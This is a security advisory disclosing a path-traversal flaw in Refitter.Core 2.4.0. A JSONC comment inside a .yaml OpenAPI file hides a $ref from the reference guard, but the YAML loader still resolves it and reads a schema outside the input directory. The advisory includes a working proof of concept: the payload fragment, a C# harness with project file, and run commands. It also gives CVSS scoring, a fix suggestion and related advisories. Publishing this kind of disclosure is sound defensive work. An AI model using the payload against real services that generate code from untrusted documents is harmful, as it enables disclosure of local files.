JSONC/YAML parser differential bypasses Refitter's local reference confinement
Description
JSONC/YAML parser differential bypasses Refitter's local reference confinement
Summary
A .yaml OpenAPI document can hide a relative $ref inside a JSONC block comment so Refitter's reference guard sees no reference while the extension-selected YAML loader interprets the comment contents as a mapping entry. Through the public RefitGenerator.CreateAsync(...).Generate() path, this makes Refitter load a schema outside the input directory with AllowRemoteReferences disabled; the paired in-tree reference control also generates successfully.
Technical Details
RefitGenerator.CreateAsync passes a local OpenAPI path into OpenApiDocumentFactory.CreateAsync, which runs ReferenceGuard.ValidateAsync before loading the document. The guard's ExtractReferences always tries Newtonsoft JSON parsing first. For the tested input, that parser accepts the /* ... */ comment and drops its contents, so ExtractJsonReferences finds no $ref to validate or confine.
The file loader follows a different rule. OpenApiDocumentParser.FromFileAsync calls PathUtilities.IsYaml(path) and selects YAML parsing for the .yaml file. YamlDotNet treats /* as a flow-map key and # */ as a YAML comment, yielding a schema mapping with "$ref": "../outside.json". The resolver then reads the sibling file outside the document directory. The mismatch is in Refitter's selection and use of different input semantics for validation and loading; neither parser is being asked to perform an unsupported operation.
The behavior violates the local-reference boundary implemented by ReferenceGuard: a local path is meant to be checked against the root input directory before the loader resolves it. The attacker controls the OpenAPI document content and the uploaded filename can use the ordinary .yaml extension; no operator-controlled remote-reference setting enables this local path escape.
PoV
In a response schema in openapi.yaml, this fragment is accepted by the JSON-with-comments scan as an empty object but becomes a YAML flow mapping with an active reference:
"schema": {
/*: null,
"$ref": "../outside.json" # */
}For the attack, ../outside.json contains a schema with the title OutsideJsoncRefCanary and a property named OutsideJsoncRefMarker. The paired control changes only the reference target to safe.json in the same input directory; its schema uses the canary InTreeJsoncRefControlMarker. YamlDotNet's conversion of the attack schema contains "/*": null and "$ref": "../outside.json", while the guard's JSON interpretation ignores the comment.
PoC
From a checkout of Refitter at bf77ef633cd182563748fd7828e2d06bb24e1dd5, run this from the repository root before creating either PoC file:
mkdir -p pocCreate poc/Harness.csproj with this project reference:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net11.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<NuGetAudit>false</NuGetAudit>
</PropertyGroup>
<ItemGroup>
<ProjectReference Include="../src/Refitter.Core/Refitter.Core.csproj" />
</ItemGroup>
</Project>Create poc/Program.cs with the following harness. It writes the attack and control references to the same .yaml template, calls the public generation API with remote references disabled, and prints the marker result from the normalized document or generated output.
using System.Text.Json;
using Refitter.Core;
var mode = args[0];
var isControl = mode.StartsWith("control-", StringComparison.Ordinal);
var variant = mode[^1..];
var reference = isControl ? "safe.json" : "../outside.json";
var expectedMarker = isControl ? "InTreeJsoncRefControlMarker" : "OutsideJsoncRefCanary";
var probeRoot = Path.Combine(Path.GetTempPath(), "refitter-jsonc-yaml-probe");
var root = Path.Combine(probeRoot, "docs");
Directory.CreateDirectory(root);
Directory.CreateDirectory(probeRoot);
await File.WriteAllTextAsync(Path.Combine(probeRoot, "outside.json"),
"{\"title\":\"OutsideJsoncRefCanary\",\"type\":\"object\",\"properties\":{\"OutsideJsoncRefMarker\":{\"type\":\"string\"}}}");
await File.WriteAllTextAsync(Path.Combine(root, "safe.json"),
"{\"title\":\"InTreeJsoncRefControl\",\"type\":\"object\",\"properties\":{\"InTreeJsoncRefControlMarker\":{\"type\":\"string\"}}}");
var hiddenEntry = $": null,\n \"$ref\": \"{reference}\" # ";
var template = """
{
"openapi": "3.0.3",
"info": { "title": "JSONC YAML differential", "version": "1.0.0" },
"paths": {
"/probe": {
"get": {
"operationId": "GetProbe",
"responses": {
"200": {
"description": "ok",
"content": {
"application/json": {
"schema": {
/*__HIDDEN_ENTRY__*/
}
}
}
}
}
}
}
}
}
""";
var inputPath = Path.Combine(root, "openapi.yaml");
await File.WriteAllTextAsync(inputPath, template.Replace("__HIDDEN_ENTRY__", hiddenEntry, StringComparison.Ordinal));
string? normalized = null;
string? generated = null;
string? exception = null;
try
{
var generator = await RefitGenerator.CreateAsync(new RefitGeneratorSettings
{
OpenApiPath = inputPath,
AllowRemoteReferences = false
});
normalized = generator.OpenApiDocument.ToJson();
generated = generator.Generate();
}
catch (Exception ex)
{
exception = ex.GetType().Name + ": " + ex.Message;
}
var markerPresent = (normalized?.Contains(expectedMarker, StringComparison.Ordinal) ?? false)
|| (generated?.Contains(expectedMarker, StringComparison.Ordinal) ?? false);
var generatedProbeMethod = generated?.Contains("GetProbe", StringComparison.Ordinal) ?? false;
var guardBlockedReference = exception?.Contains("outside the input document", StringComparison.OrdinalIgnoreCase) == true
|| exception?.Contains("outside the input directory", StringComparison.OrdinalIgnoreCase) == true;
var result = isControl
? generated != null && markerPresent ? "pass" : "invalid"
: markerPresent ? "violation"
: guardBlockedReference || generated != null && generatedProbeMethod ? "pass" : "invalid";
var signal = !isControl && markerPresent
? "Out-of-tree schema marker reached normalized document or generated C#: " + expectedMarker
: "";
Console.WriteLine(JsonSerializer.Serialize(new
{
result,
signal,
details = new { mode, variant, extension = ".yaml", generationSucceeded = generated != null, guardBlockedReference, generatedProbeMethod, expectedMarker, markerPresent }
}));The PoC uses the pinned .NET SDK image mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea and targets net11.0; restore the project dependencies before running both arms from the repository root:
dotnet run --project poc/Harness.csproj --configuration Release -- attack-a
dotnet run --project poc/Harness.csproj --configuration Release -- control-aThe verified attack invocation returned result: violation, generationSucceeded: true, guardBlockedReference: false, and markerPresent: true for OutsideJsoncRefCanary. The control invocation returned result: pass, generationSucceeded: true, and markerPresent: true for InTreeJsoncRefControlMarker. The marker oracle accepts the normalized document or generated C#; it does not claim which representation contained the title marker.
Impact
This is CWE-22, path traversal across the root input-directory boundary around local schema references. An untrusted document can make Refitter read and parse a schema from another readable location even though the reference guard is intended to confine local references. The proof uses a synthetic schema canary, not a real secret file, and only files that the process can read and that the parser accepts as schema-shaped content are exposed. The public RefitGenerator API exposes the loaded OpenAPI document and completes generation; no remote service endpoint was exercised.
The base CVSS 3.1 score is 6.5 Medium: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N, because the demonstrated library use requires a caller to process the malicious document. A supported deployment can reach a 7.5 High environmental score if an unauthenticated network service accepts attacker-supplied OpenAPI documents, automatically invokes this public API, and returns the parsed document or derived artifact without per-document human approval. Under that exact condition, the full environmental vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:N/MA:N; the realistic consequence is disclosure of parseable schema data from files readable by the generator process. The requested High label reflects only that deployment, is not the base score, and does not apply to ordinary local CLI use; a maintainer may lower it to Medium if they prefer the base rating.
Suggested Fix
Make the guard inspect the same parsed representation that the loader will resolve. Select and normalize each document according to the same format rule used by OpenApiDocumentParser, then enumerate and confine every resulting local reference before loading it. Prefer sharing the parsed tree or normalized representation with the loader so content cannot be interpreted as JSON for validation and YAML for resolution. Add public-API regression tests for this .yaml JSONC flow-map input with AllowRemoteReferences=false, asserting that the out-of-directory target is rejected before it is opened; retain an in-tree $ref control and ordinary JSON/YAML reference cases.
Affected Package/Versions
- Refitter.Core 2.4.0 is affected. The tested 2.4.0 package SHA-256 is
855c8a6d23d03f4eb043289c3043e0a3289583c0dc382786b660a4acb9f919f4; the out-of-directory reference exposedOutsideJsoncRefCanary, and its paired in-tree control passed. - Refitter.Core 2.4.1 is patched for this path. The tested 2.4.1 package SHA-256 is
57f58f4799e0a6577bec52e07ac7ac66d63547b3c4ed55a56f6839b0f97a38c2; the attack was blocked with aReferenceResolutionExceptionstating that the local reference resolves outside the input directory, and the paired in-tree control passed. The complete, untruncated attack and control stdout records have SHA-256 values001220766020e1b93f5b47a17dc37461c0b1e478fc2923daf644f90af732410aand1c481528c17f383bce4aa38459a168a7fcff689cd296ae1e30fe84162fac84c1. The package retest harness SHA-256 isa75e417fb8edb27c7f7bee20e6e58cd825da23b164b673be3f2a7ffc2941848d; its offline package archive SHA-256 is94693ad061342a49864b229a16ca734c070ad6f43ca4aaa108adf45d8a178bd4. These package and archive hashes are distinct from the Git source identities above. - At recorded current-main commit
575448fe32c26908dbe2700d9e7818bf4cfa5802, the guard still performs JSON-first, comment-tolerant extraction while the file parser selects YAML by extension, so the parser-selection mismatch remains. However, merged PR #1414 addsEnsureFileAllowedto the JSON and YAML reference resolvers, and the current-main parser checks containment before reading a referenced file. That resolver-level check blocks this exact out-of-root reference even when the earlier guard misses it. This is a source-level observation; the separate package retest establishes the released 2.4.1 result.
Advisory History
- GHSA-WP69-6HGQ-9CC3, “Nested YAML schema references escape Refitter's input-directory boundary” concerns nested YAML references resolved against different relative bases. PR #1414 was merged before the recorded current-main head and adds a resolver-side root-directory check before both JSON and YAML referenced files are read, plus rebasing for nested references. The report here has no child document or child-relative path: its root
.yamldocument makes the guard and loader build different reference trees from the same bytes. - GHSA-MGQJ-PH59-3R6R and PR #1411 address case-insensitive
$refkey handling. The guard previously compared key spelling case-sensitively while downstream parsing accepts variants such as$REF; PR #1411 changes the guard to recognize those keys case-insensitively. This report uses the exact lowercase$ref: JSON-with-comments parsing drops the comment contents during the guard scan, then the.yamlloader reads those bytes as YAML mapping syntax. - GHSA-X6W4-F264-3VVR, CVE-2026-63184, covers generation-time SSRF, remote file inclusion, and local file inclusion through unrestricted
$refresolution. That earlier issue concerns unrestricted reference loading; this report exercises a local reference under the guard's confinement setting and depends on the JSONC/YAML parser disagreement. - GHSA-4F49-PM8Q-MX4F and PR #1392 address escaped
$refnames and values missed by the earlier raw-text scanner. This report uses a parsed$refwhose surrounding bytes are discarded as a JSON comment by the guard and treated as YAML mapping syntax by the loader. - GHSA-RQPJ-F34P-MR22, “Relative discriminator mappings bypass Refitter's schema confinement” concerns a separate
discriminator.mappingfield that the guard does not treat as$ref; this report uses an actual$reffield. - GHSA-R4F2-382W-FRQC and PR #1416 cover a local-reference escape through an in-tree symlink. An earlier local report also requires an in-tree symlink that points outside the input directory. This report needs no symlink: its root
.yamldocument uses a JSONC/YAML parser mismatch to hide an out-of-tree$reffrom the guard. - Earlier local reports also describe a
$Refkey in an ordinary JSON document that lets the resolver read an out-of-tree local schema, and an uppercase$REFkey processed by the SourceGenerator during a build that exposes an out-of-tree schema. Both depend on downstream case-insensitive key handling while the guard checks only lowercase$ref; neither depends on JSONC comment contents becoming YAML syntax. GHSA-25J7-XPJ3-7JF9 concerns case-colliding visited files; PR #1412 fixes the visited-path comparison for that case. GHSA-5W8X-VQHX-3JRH concerns mixed-separator remote URI handling; PR #1413 fixes URI-scheme handling for that path form. Those advisories address visited-path identity and remote URI handling, respectively; this report instead concerns the root.yamlJSONC/YAML parser mismatch that hides a local$reffrom the guard.
Other local reports reviewed have different sinks and preconditions. A CLI output case follows a pre-existing Output.cs symlink in an attacker-supplied local bundle and writes generated source to a writable file outside that bundle. An operation-key case emits attacker-controlled text as a C# attribute identifier; its injected initializer executes only if a consumer compiles and loads the generated client. A network-path operation key beginning with // changes the authority used by the generated Refit route, so a client invocation forwards a caller-supplied Authorization value to that authority. A response-status key can inject an XML <include> into generated documentation and disclose a selected local XML file in the NuGet documentation package, but only when the consumer enables XML documentation generation and packages the output. Alternative OpenAPI security requirements can also combine a public scheme with a trusted API-key scheme: when a consumer supplies the shared key and generates a client from a contributor-controlled document without maintainer review, the generated client sends that key in a header to the contributor-controlled operation. Finally, an OpenAPI 3.1 $dynamicRef to a loopback or private-network URL causes an outbound HTTP request despite the default remote-reference setting; the demonstrated sink is the request itself, with no claim that remote schema contents were disclosed. The uppercase $REF report likewise concerns a remote schema request through the default guard, separate from the local-schema and SourceGenerator cases described above.
Coverage: I reviewed the submitted public advisory and pull-request reports linked above, the same-target local reports ready for review, and completed local reports that had not yet been submitted. The complete set of topics is covered above through public identifiers where available or plain-language descriptions; no local aliases or artifact paths are needed here.
References
- RefitGenerator.CreateAsync at the tested revision
- OpenApiDocumentFactory.CreateAsync at the tested revision
- ReferenceGuard.ExtractReferences at the tested revision
- OpenApiDocumentParser.FromFileAsync at the tested revision
- ReferenceGuard on upstream main at commit 575448fe32c26908dbe2700d9e7818bf4cfa5802
- OpenApiDocumentParser on upstream main at commit 575448fe32c26908dbe2700d9e7818bf4cfa5802
- Refitter 2.4.0 source tag